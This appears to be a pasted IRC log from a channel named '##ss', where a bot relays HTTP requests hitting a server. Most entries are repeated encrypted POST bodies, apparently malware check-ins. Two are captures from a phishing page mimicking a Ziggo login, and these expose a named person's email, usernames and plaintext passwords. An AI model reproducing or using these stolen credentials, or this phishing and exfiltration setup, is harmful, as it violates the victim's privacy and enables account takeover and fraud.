  4460. [02:12] <HTTP> cDgRi5UwWMiRPhNZ/UnxJiDEeL4R6ky1qV38Mq6jpG4EgLSwkkDOgUPMTh/h2ma59s8CYaESmzKAIl/Q1oREo4x5aJYe/6LagDup5X+3Hp3xIZMqpDM4aUrzQxEx0urlI7eU8mxjC4RvF/q27vwNlq0CoohUMzOhXTbivsGUaSKtGxB/PCx1jX1TEtrdOsHVijuMx57i9cpWdfmTMgwd8WLcrtz/XPP5rnuGCaXiBfg14maaiSHl1rzolEbb+z4CXoYHq/RYcBSK3w/aiZumL08lwuqSbROE7MN5UCI8rnatVupKMQCnocVbxE5+rE2Y2EK0S44GK5r26n/0+TEPEIemqGYQE9J5xWzoKxwOL5ILHLSc9lQPyhuDNPcGZAGLVwW8wvINxlVA0Ho=
  4461. [02:13] <HTTP> Socket initiated: 203.87.133.143
  4462. [02:13] <HTTP> POST / HTTP/1.1
  4463. [02:14] <HTTP> Content-Type: application/x-www-form-urlencoded
  4464. [02:14] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4465. [02:14] <HTTP> Host: 172.86.120.218
  4466. [02:14] <HTTP> Content-Length: 372
  4467. [02:14] <HTTP> Cache-Control: no-cache
  4468. [02:14] <HTTP> JTgXi8RqVP+8trHvwzzwGCWMGOz1YKyK5ZQ97SPORoiUrmDKLIEUzfNqSrS29S3GRerKEPyZ4+XFjubAKHS7INUtUVFvzaKfFq9LMi0sGXew5Rnsd2k3u4GPWfcCKsfOnjJ2uUR7L0je9fl1vEeNm43FjbeMBfseyjVxcJFWeYjxKZDPV5B8J1ufpgJJlk9tMIMlpL4DEHkHo0MQ4Nfr2HXMw7AyKK6jkVUVo/LAiVwCEK7D+8UMaXr6rByA2uvGXQOdnODGshpTOfdeOs2itFyZvKcw6ScCMR0elLDyPUKhlKaSY6BB5Y3+1rF239yMt17fOY+mdogNtYLaTsEqrDH5buxT3ukfgwfutIyz5Ep0BAOwyr4j
  4469. [02:15] <HTTP> Socket initiated: 203.87.133.143
  4470. [02:16] <HTTP> POST / HTTP/1.1
  4471. [02:16] <HTTP> Content-Type: application/x-www-form-urlencoded
  4472. [02:16] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4473. [02:16] <HTTP> Host: 172.86.120.218
  4474. [02:16] <HTTP> Content-Length: 372
  4475. [02:16] <HTTP> Cache-Control: no-cache
  4476. [02:16] <HTTP> Ij5CiJVsB5Xzt3/RAvsbpYRg5qIeCBpTaS6o2LoCWHW6Dd3u5eqQBd2hexU+aMAU63GdcuVSyye4NBbMpf2Ot0LJwyo9pluyPZ1mQTVyTntcSRmT4L0UeWr/gzOAmSwEUeas0v3V4nT53pBE3r6CC0gImEfwcveM5YDfkn+SW8M6nPx1j6jvU5oqfBKMrRE+2hX8VQtHgeF8y0T3qI3GxUvz1gYrtR8x1alSo9WfL+GtGgBGh7fPaz6WwmCpR4eoSutuhgAtg83mtimBfY+Ye/b5DGBqItz9E2P1yTLnIyp8BxnyJMwuatgRdJ4ciFMW1hFZgr6L48wkeG19EosBRcy7NQEKH/UlrWnobHZ5c+niWULoyA==
  4477. [02:17] <HTTP> Socket initiated: 203.87.133.143
  4478. [02:18] <HTTP> POST / HTTP/1.1
  4479. [02:18] <HTTP> Content-Type: application/x-www-form-urlencoded
  4480. [02:18] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4481. [02:18] <HTTP> Host: 172.86.120.218
  4482. [02:18] <HTTP> Content-Length: 396
  4483. [02:18] <HTTP> Cache-Control: no-cache
  4484. [02:18] <HTTP> cDAW2pA6BwzoJPSSFoZ7al7qm81e2bNl6V4NJqrIi1HCDBKjRyuYWKeQG2dA/sZXP6+4/qd7moNinyCWBEXL6H9DNEQFphL8a6Mun1P+FGHqTK6Me8QofiIXiOd9cs1olHG0Br8cJngaU73N9YBkUrbmx+JyzBpBNnh58cQvD/jKmcGCK+19yP8DmrOOrdUh9lO+5EXryYT97GSjVTjH/AlYD76tBY6mVJReb31vvltlwF0xfrtRy0uC5hmC5nM9W1F2fRQSriM2rirxC2Rzx/yrZ3duB32k3hp/cNenFmUXxHA37kOmCti8rR5LzrB7JI2xzQbSvFd0m3qPwkEh6vetgGx93pvFyqo9wRP4euthfdcrrDWR5o2MurBBs3UtGgyF1z8D6A==
  4485. [02:20] <HTTP> Socket initiated: 203.87.133.143
  4486. [02:20] <HTTP> POST / HTTP/1.1
  4487. [02:20] <HTTP> Content-Type: application/x-www-form-urlencoded
  4488. [02:20] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4489. [02:20] <HTTP> Host: 172.86.120.218
  4490. [02:20] <HTTP> Content-Length: 392
  4491. [02:20] <HTTP> Cache-Control: no-cache
  4492. [02:20] <HTTP> c2oSjp5sV13DAD331zOFdS295DruNZMWVdUbPpgVngA3jnuwrHjutpzdQwDu/NnivRTXAbIoscVzGS4hz7mSrTXd31WFLiGWSWo7Ipi6dnFaRyIRFQZkVeuL4soDMx90OzaOeRYw1KamUcpSI7lAtuDpWoZi44VbhrKJxnjxIj72FESba7Wrc5vb0F0t6D6zBXDK9gQgnuw0kOcA0pBlQfqJb8YGahfjfEMlrdBO4gW20iNI6oa3hVKZVMr0W07wabX+DLQdHPSzrlvXd9SHXLL3W3wtI7U1EFKxT9TVv/q9iMbL6c8i6X8knBa/Fks8Ifb2z1EMeM71LrPEsvolD23kazRJjN6vPWwe0p69LueVThdfkM5e71AJTYQZ9CECyiPC1WmK
  4493. [02:22] <HTTP> Socket initiated: 203.87.133.143
  4494. [02:22] <HTTP> POST / HTTP/1.1
  4495. [02:22] <HTTP> Content-Type: application/x-www-form-urlencoded
  4496. [02:22] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4497. [02:22] <HTTP> Host: 172.86.120.218
  4498. [02:22] <HTTP> Content-Length: 344
  4499. [02:22] <HTTP> Cache-Control: no-cache
  4500. [02:22] <HTTP> dDtB3pE8UCuQex6HoRCEDxMsoFxKZf/E1peR+qPmGeEcXJew/Bdeb7kcEbKsQpe4pUQpOIhzyWq+tPOaqrl4XtqK1S4QF6Xr9oyZLFV/nl5+WR5K+LMyIf4LywathXTKFGwCD3Hso4KUKIm8aKx1wB19VvYt4jK+BrzRxMBvIcFTwfOrkSsDJDH6xhln9jAV9M6nSiXiJARfu8ozu+/7vKqws7ybFlG4xoGtURabJUJMuV9Cjsji7l1j4Xrbux2V6uFRJkPlUWpv83ON2xRv5zLpx+hjRL5ugrcLGmYlZQCRqxtFhzRyn7cC+/NFywk0izV4pKKuH8rqL1/NGO4e/GE=
  4501. [02:24] <HTTP> Socket initiated: 203.87.133.143
  4502. [02:24] <HTTP> POST / HTTP/1.1
  4503. [02:24] <HTTP> Content-Type: application/x-www-form-urlencoded
  4504. [02:24] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4505. [02:24] <HTTP> Host: 172.86.120.218
  4506. [02:24] <HTTP> Content-Length: 356
  4507. [02:24] <HTTP> Cache-Control: no-cache
  4508. [02:24] <HTTP> IzwW3p8+AG0QSFXQoJu8TrYRE20zBGRESLxIVjm8rgH6oeQriA9YodSJzIO6GKmCUYSUKsve1mAcFqFqh1+nyA+RAlQ3JnjdbZj5yRtZh/AI+vMpzcLvByxzdKIl8kd85s0MTjzzIlhlUqhP6HhMGTrweFqCx4KC3OzadC0I+j2yHqOuc08BZpjp2AHz8NVHtmllVxm3nUFwcOr2zFUx7o0exauQbncqnegB0Am9GyOAGoQclGKrdsKtwk2LSYWdYAhUIJAacndk0/nrMDplA5aRDqZowaN2j4ykj0yTTjs8ScwMOEcHMuJlfFGa5pYUosfnyTZEwzQy6tW35l3G8/5Znaoz5rx6eNpr
  4509. [02:26] <HTTP> Socket initiated: 203.87.133.143
  4510. [02:26] <HTTP> POST / HTTP/1.1
  4511. [02:26] <HTTP> Content-Type: application/x-www-form-urlencoded
  4512. [02:26] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4513. [02:26] <HTTP> Host: 172.86.120.218
  4514. [02:26] <HTTP> Content-Length: 400
  4515. [02:26] <HTTP> Cache-Control: no-cache
  4516. [02:26] <HTTP> cmoRgJ8wAz8ul8w+r3IjlZ6bpqAQhF+kVcJZ1SpuXsNRGyD5C8FAlMM1WhFS5vdsc+XlJLl6a41GzwBFcrnBwH88ctSw1TxunZblyLHohPvu0eqpB7nIak62VbUlDE9Ta2z4xcMfKwd2iroQYDog9tL1sPWH88vg6mbxIazMGak2IvzgN4V8DTtQPdz5+hdJXOgIW/f3h0OcJRNaCTsu9Ts5qkuywIHXcueUediKERi8W9mb8U/Kj81yqG6zKWZjurZ0R2idksqfps6ve3CIP+Poti0WSltBrg8XPfpk5PzXpq3IIqqhTBnKjpGTeHwpEyl8omjvslDTIUNHkz/vGt79Ul/xQxtbh5/W9kMZXH/W430GfPW/wstNf19D+l7hSO7QJN6hu+IQRg==
  4517. [02:28] <HTTP> Socket initiated: 203.87.133.143
  4518. [02:28] <HTTP> POST / HTTP/1.1
  4519. [02:28] <HTTP> Content-Type: application/x-www-form-urlencoded
  4520. [02:28] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4521. [02:28] <HTTP> Host: 172.86.120.218
  4522. [02:28] <HTTP> Content-Length: 408
  4523. [02:28] <HTTP> Cache-Control: no-cache
  4524. [02:28] <HTTP> JThH28cwU6H/u6XHDMfhuD8lSQyf7+uAqglqlTUxKVF7YCZMY50XPZLHeoOYgjNWiiI1Xk/Xp1XRy0hg2ohzbZc76wsmJ5HUccsZGKEvspJMIbiPMra37Ud1tzkZIJR5/k+EX8y8+SY6s1jZZFL0YdOmlJqj3bkQD006dk0w2FD1cGN7YphM2g+py4iCAbg7tpWOWZ7NYnoQ36WKTvGfewQ9ZwEOHgxiqBBc2FIuZLREh8LRVreg2Rmi6M1NXQllPBf8WCrG/pwAllvV9MuzovbOJnicZpOphAjQlb90FrGBbfrmVcSNdG3et3uY2OqaRVZviroacwVaYJiM9KGT1Wjggt1yxGYDB/gcF4HsGlt48ef0n+OYph3kSvvqjYnlA6C/OoaeCqdKSp7XcoiAnjQ=
  4525. [02:29] <HTTP> Socket initiated: 91.230.47.3
  4526. [02:29] <HTTP> GET / HTTP/1.0
  4527. [02:29] <HTTP> Connection: close
  4528. [02:30] <HTTP> Socket initiated: 203.87.133.143
  4529. [02:30] <HTTP> POST / HTTP/1.1
  4530. [02:30] <HTTP> Content-Type: application/x-www-form-urlencoded
  4531. [02:30] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4532. [02:30] <HTTP> Host: 172.86.120.218
  4533. [02:30] <HTTP> Content-Length: 352
  4534. [02:30] <HTTP> Cache-Control: no-cache
  4535. [02:30] <HTTP> IWtE2pJsALNkC5kRLxCbpWTFzj2TtNJKMDtDoGYK5vprtQc2/CNLbbrcPLRq7fimLyOLXzfdS1sH73/hKzgumspm3zUhrJVrArtEKBgX0dMaew2350DYBTMeLKUQTsPPBkKFuP2HXS30eTusVtyHBqc9UXWSDij1RKkOUi5OsrPTRld/exTUljtKT8rsXK42+1Ioabicz6bDgfMbD1KW1TAVJ3R/fNGrQYUOt0BqLWKnA97SjJk894KJZYCgr7FvnmKxJwfn+IT95TTVz/tZkorqE2lzCGszMpa0ov0jCgqjpLveYvP208FzNP+fvmrtBhrW1IAK0XVRlYE9fDWn0OsNAi7mzkq6
  4536. [02:32] <HTTP> Socket initiated: 203.87.133.143
  4537. [02:32] <HTTP> POST / HTTP/1.1
  4538. [02:32] <HTTP> Content-Type: application/x-www-form-urlencoded
  4539. [02:32] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4540. [02:32] <HTTP> Host: 172.86.120.218
  4541. [02:32] <HTTP> Content-Length: 424
  4542. [02:32] <HTTP> Cache-Control: no-cache
  4543. [02:32] <HTTP> IzxEiJJpVOiVx0XRPLWBaRf1NeEHyEnlxWlSl5x8CatBy7lFP7tHW11mlgeSwSs0XRXd+K29licQ7NUB5m6+3gugyd/m/c4rtsUz1FT5nJZiB7YPLJD4nLaMy2w/dQM5tChTsArVulGhJeJIVg3YG5z/mvbmtfx5ZdsowOga+qdVV/QPW23Y4IgreOj1f17kpp5+NbTFwttOfDUNaJBcHEJO7Iki+yYkFaLfHT3GQuIQ7qa/67YOXAV8yBNIVl/94VbYYUAK2HtpWEURLBL1uFv2a8KdVqHZ2pIVElLVuxrKL8SZi16DfBRRGOHIWQQ3MQMZ39GM7S7O1jXKZXMAiwfBEt9AZEp1UcA0llaMYx45pF3PjMdhe/x1BOG6978zuUlR+Pq+wT2us9
  4544. [02:32] <HTTP> Uhm0q3KtUlQ4vFZ+tcNhArRoQ=
  4545. 02[02:35] * Disconnected
  4546. Session Close: Sat Jun 03 02:35:24 2017
  4547.  
  4548. Session Start: Sat Jun 03 02:35:24 2017
  4549. Session Ident: ##ss
  4550. 02[02:35] * Attempting to rejoin channel ##ss
  4551. 03[02:35] * Rejoined channel ##ss
  4552. [02:35] <HTTP> Host: ziggo.nl.hacked.jp
  4553. [02:35] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:53.0) Gecko/20100101 Firefox/53.0
  4554. [02:35] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  4555. [02:35] <HTTP> Accept-Language: nl,en-US;q=0.7,en;q=0.3
  4556. [02:35] <HTTP> Accept-Encoding: gzip, deflate
  4557. [02:35] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  4558. [02:35] <HTTP> Content-Type: application/x-www-form-urlencoded
  4559. [02:35] <HTTP> Content-Length: 134
  4560. [02:35] <HTTP> Connection: keep-alive
  4561. [02:35] <HTTP> Upgrade-Insecure-Requests: 1
  4562. [02:35] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=mvanderzwan%40ziggo.nl&userId=mvanderzwan%40ziggo.nl&password=wissel15&button=
  4563. [02:36] <HTTP> Socket initiated: 203.87.133.143
  4564. [02:36] <HTTP> POST / HTTP/1.1
  4565. [02:36] <HTTP> Content-Type: application/x-www-form-urlencoded
  4566. [02:36] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4567. [02:36] <HTTP> Host: 172.86.120.218
  4568. [02:36] <HTTP> Content-Length: 412
  4569. [02:36] <HTTP> Cache-Control: no-cache
  4570. [02:36] <HTTP> cWoQj55rApaeKR0IwhWBsUzVFFKuAgB4tVHDW6NUevqQI3h+fED3eHSAZEw374/1woCgS61kqhbwEjgyaIJzQ2BIThwj93WEa8ghQp9crarThpJP3670C7KDHcLaZ0n4RbVVgL3wZtESkfhm5NYE4RlnFbtPZKVXxceBMGiXrN3/2xiDCA2i+VSkbRoi4Eo/ywQfrwY+LxzvFFz0vFKOdt8FPEdfkpWsY/wz3+ZuodeoigFMEO7suQuGjD9Ein2Qjsq2miAJhiuoVv/SW7WOv+ykAAja8ZEi2TJlnZubiW5MfKNm4VbFv2MKlXoBTmOKhzKoo80uTyI7SQYaCs/Vz+Yd8AIsyCXVcGRCDpBt8J/v4BU1JL+RnhUkOqrVxnG2RsDAFj6Ugj7vQF
  4571. [02:36] <HTTP> NbKrH0m8JQFA==
  4572. [02:38] <HTTP> Socket initiated: 203.87.133.143
  4573. [02:38] <HTTP> POST / HTTP/1.1
  4574. [02:38] <HTTP> Content-Type: application/x-www-form-urlencoded
  4575. [02:38] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4576. [02:38] <HTTP> Host: 172.86.120.218
  4577. [02:38] <HTTP> Content-Length: 412
  4578. [02:38] <HTTP> Cache-Control: no-cache
  4579. [02:38] <HTTP> IjhN3ZZuBF/iruFT3MWMRDM0kaHY6DSiStmV9/jq5dqu2rj2HDdyuWP+esOm6y2QV68Ngo+M5hgd7k5lCYqfMrAgOzf8YQvYbr5tbr7DC9Jao9JCmzeoZFI8yuhjRg8a3I4ot2R1xenHcKbpKHLoKzS1R8eRA7yv1xiqQyMDejVEkcma6E6elOf5GQp0BP+AdcChG/Mg1zj1g3+qyivfLEOKDee8LbEVJjZdwMxCyp+t4U8fY9VlR52FTHwmHnOn2N64ggOwcP6gRPgfU0SvLCMfxWJusqM2TBaJF77KLwbR2+bNoicJfhdICP6IWYYHMcB/lxTp0fJYxjKm3g8cnjh6MEeZq3ESvGUprkHrh5St7tRwjpeP4Oar+6ucpIE5HjIik5UVEFAnNB
  4580. [02:38] <HTTP> XLSeGSM5iDJU8=
  4581. [02:40] <HTTP> Socket initiated: 203.87.133.143
  4582. [02:40] <HTTP> POST / HTTP/1.1
  4583. [02:40] <HTTP> Content-Type: application/x-www-form-urlencoded
  4584. [02:40] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4585. [02:40] <HTTP> Host: 172.86.120.218
  4586. [02:40] <HTTP> Content-Length: 424
  4587. [02:40] <HTTP> Cache-Control: no-cache
  4588. [02:40] <HTTP> cj1MiJNsAPh34Nnihj/krCpq+khLdMMMLHhwUNpL4Qilj0NoROKnZa7LR6u/XKocWG+6QUPXTGG0PIOQcboZ7aM5AtE1JrfKvUiya7S5DcHD3Qxd2X8L7YH/vEfQCUveHLse7I4TUZtDAHdsFFSuuqGQ34ULU466rORSTdjgP7A9xP5LZEHDUHUdWskb40MLF3ojoRyyq5MeK7wR85EMDaRxeU6fuW6KHoLTrdbekw3UBL7xFQDj9dBXs6gO/S+lbr9WOpmLSoVOnW11cRKQD1aR9F+5R3gROgzqlZOLwvHJSphike+yEVgnwKtxNS4rSbwrE1bb8LD4fV+pZfMGVwm5rgcxbp5K8q9I/7gw7yWuX1fBGCgugjz6flaeNEjTHgvgwxcGx+ww57
  4589. [02:40] <HTTP> 8Mm6APnyhNXhA/+/hLhBcbegc=
  4590. [02:42] <HTTP> Socket initiated: 203.87.133.143
  4591. [02:42] <HTTP> POST / HTTP/1.1
  4592. [02:42] <HTTP> Content-Type: application/x-www-form-urlencoded
  4593. [02:42] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4594. [02:42] <HTTP> Host: 172.86.120.218
  4595. [02:42] <HTTP> Content-Length: 404
  4596. [02:42] <HTTP> Cache-Control: no-cache
  4597. [02:42] <HTTP> JTpDj8U6VocT4E+oCoauqR13+cnI/J9rgOtQR/p7MWzxArxHNm66C5m515+DolaS5KIIbyLaIshtI55thwkukymeGDpjQLj+EXUi4giIbHlbss1uqQC9ywNqAoyLjv7gGPkiynr8ErTtIdSPln/vKRidNBpK48b/L3NuTN00LV25MPFuRsvhvmBwdc69jBscKmqMM6XXAwQUK+gKxEbuUrkfAy3HcpWj7UlXRA6shgSoWAGXCF/W+IWP7cy8pAll+wAs0q76q3HNGqYdJ1eFxAr/Wu2ME8O653VJ3YWJbecx9PvG4r3GRV9/ya4KY37VW8EdbIPtm7Rbb13UpQVB92fsQEGCl07WncCrCZPp5F8OAze60Lei0fmQ7Gu9JWgxyua7NGFqzsm+iQ1nVCha
  4598. 02[02:45] * Disconnected
  4599. Session Close: Sat Jun 03 02:45:40 2017
  4600.  
  4601. Session Start: Sat Jun 03 02:45:40 2017
  4602. Session Ident: ##ss
  4603. 02[02:46] * Attempting to rejoin channel ##ss
  4604. 03[02:46] * Rejoined channel ##ss
  4605. [02:46] <HTTP> Content-Length: 372
  4606. [02:46] <HTTP> Cache-Control: no-cache
  4607. [02:46] <HTTP> JWlA3J4+BFXCvUYvHL8GO7YVGBx0wCCVa6ykjakr6rz6AJZXHiRY6V2hYJGKUOG0dCa3nYScG8tZVAJKwUE1lir13jU+k6+55vWnMR8QjwfhIqemoUM1BekVoonPmvSsZfqBKRl85wFC4VLky9NJDzEtRGEpjweDtrlhYINPHSiOJImCniouBpNCX4SpPXeO1DhnqFwgkxtW6GQakngHVljd2kmPabA7SSXlRLILfVGX9POvFac+mfx2dTXqOjxFVH1eb2+r7hxk947G9oRaAZ5POKan7NSwCnYvj7GvBFLJs59AG0CEuj5vWw+BFvmvvv8K/q/A/enFQ4AEj5hu9R3LRT2c0JsxoP9uqZ3Y7elEFWteLvrC
  4608. [02:48] <HTTP> Socket initiated: 203.87.133.143
  4609. [02:48] <HTTP> POST / HTTP/1.1
  4610. [02:48] <HTTP> Content-Type: application/x-www-form-urlencoded
  4611. [02:48] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4612. [02:48] <HTTP> Host: 172.86.120.218
  4613. [02:48] <HTTP> Content-Length: 384
  4614. [02:48] <HTTP> Cache-Control: no-cache
  4615. [02:48] <HTTP> I2sQgZQ5UmukTg6kog/OZPSWUTgasiMvEMxJOeHZOlqdmKpOPFMsFa88iMGj2rhagy66VfDWsjhSXQ4e40wreCxSros+gmXSKQnLkGQEyGmFumsLm/6J988d8CaboaSTarYB9LdtUGkGJEKP1c6YTuKP7bzG1M+feSH1kV+e+bzpRYKT/CFM6tceyYFlYApZkcc5CSqUOEBke72/cnFVz8VLND8dnpBkbizVqELoUy0FoQby1VDP6qjo4+CLx09WaZd+Hp0/GpXEPAqPUK82m9qvsAPNAIl7PHlrOcBv8APzZIl6nnBv3IDX+5elQuXi5HZ/KaV2AKgF68B4Q+OEbX0nGHHOAiB6Bdd2+PuzG6oVmfFvRSFKdo70K2zL9WM=
  4616. [02:49] <HTTP> Socket initiated: 83.84.103.244
  4617. [02:49] <HTTP> POST /ziggohandler/iam/authenticateuser/ HTTP/1.1
  4618. [02:49] <HTTP> Host: ziggo.nl.hacked.jp
  4619. [02:49] <HTTP> User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:53.0) Gecko/20100101 Firefox/53.0
  4620. [02:49] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  4621. [02:49] <HTTP> Accept-Language: nl,en-US;q=0.7,en;q=0.3
  4622. [02:49] <HTTP> Accept-Encoding: gzip, deflate
  4623. [02:49] <HTTP> Referer: http://219.93.200.189/sys/indexd422.html
  4624. [02:49] <HTTP> Content-Type: application/x-www-form-urlencoded
  4625. [02:49] <HTTP> Content-Length: 123
  4626. [02:49] <HTTP> Connection: keep-alive
  4627. [02:49] <HTTP> Upgrade-Insecure-Requests: 1
  4628. [02:49] <HTTP> source=AEM&target=IAM&URL=&login-form-type=pwd&username=martinvanderzwan&userId=martinvanderzwan&password=wissel123&button=
  4629. [02:50] <HTTP> Socket initiated: 183.129.160.229
  4630. [02:50] <HTTP> GET / HTTP/1.1
  4631. [02:50] <HTTP> HOST: 172.86.120.218
  4632. [02:50] <HTTP> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
  4633. [02:50] <HTTP> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  4634. [02:50] <HTTP> Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  4635. [02:50] <HTTP> Accept-Encoding: deflate
  4636. [02:50] <HTTP> Socket initiated: 203.87.133.143
  4637. [02:50] <HTTP> Connection: keep-alive
  4638. [02:50] <HTTP> POST / HTTP/1.1
  4639. [02:50] <HTTP> Content-Type: application/x-www-form-urlencoded
  4640. [02:50] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4641. [02:50] <HTTP> Host: 172.86.120.218
  4642. [02:50] <HTTP> Content-Length: 416
  4643. [02:50] <HTTP> Cache-Control: no-cache
  4644. [02:50] <HTTP> dTER3p84VsDbuCsfeDhYo2E6DJq2OgN+ht1G9gM5ydWmJCiVnfSdvMn10pM/a9tOnWiaqh1vNg12YE9qPdRAnMdWqZ1Py5DuvcZcxwfQci49yYfuwQjerXuF/HW+X9afRjLHg2m/Cvy8vqXeN1lSFKt+xjaVe86tAY0lzdqtX1xKxW9f7n0D2rh8uHsuuXlHfYR+y3adjBJXDeROjsCbaWSkNlfNChjfYKFNC/yUf3ItSEFm1L+H4/UgxqyLwVaMSPhwgnE/Zqq7K5nqK45M4cy2NR8XLcN4YpP7e+If4RJNOk2F4fHj5Hv0r2ffw7txiwPs6jJnr/mbVhczO0PtATW0hv2/fRvBMTXvK16VBcvUsD5AghHrSPPAhKFh3dHYrsFouzOOo383k9
  4645. [02:50] <HTTP> iscCqcHfJRBrwzA8BE
  4646. [02:52] <HTTP> Socket initiated: 203.87.133.143
  4647. [02:52] <HTTP> POST / HTTP/1.1
  4648. [02:52] <HTTP> Content-Type: application/x-www-form-urlencoded
  4649. [02:52] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4650. [02:52] <HTTP> Host: 172.86.120.218
  4651. [02:52] <HTTP> Content-Length: 408
  4652. [02:52] <HTTP> Cache-Control: no-cache
  4653. [02:52] <HTTP> eDlBjZ9uVtWib4ujWXPYZvQx23zTFJjsGpQRuzY5rlxJxua1lAx118okyJinYxaNiFvzOKkwjgB3kKZza1sGwwNjuXUYgLP6oQc7Z6Pfm0eQMklL4Z7twl1f8n4hV7sm408ywfRZ+YmlFmDbLIae8o/g/ayQls3V9P28Nij2IcUZznE+kHIrQUtyweMKOU6bg7tJA34JZLQ3xJcMAhplWNpUyfCSG/gyGMX/DkY8GMq7OVPIuofrzztcVMVY4SHfmCfDBSp8oT56ShcMZv4EaVsURLx5BjcL0MXxbDriwBNjigCN/drrjyWoYPz2X5yEa9hYDkRlkc7LpgnRgDg4RhwW1H29jx/nHfxjgKMZvjQBYBBW6wCelBDh2FY6glSsFpkgA92ZqHxO96Eli0sdvyTs
  4654. [02:54] <HTTP> Socket initiated: 203.87.133.143
  4655. [02:54] <HTTP> POST / HTTP/1.1
  4656. [02:54] <HTTP> Content-Type: application/x-www-form-urlencoded
  4657. [02:54] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4658. [02:54] <HTTP> Host: 172.86.120.218
  4659. [02:54] <HTTP> Content-Length: 412
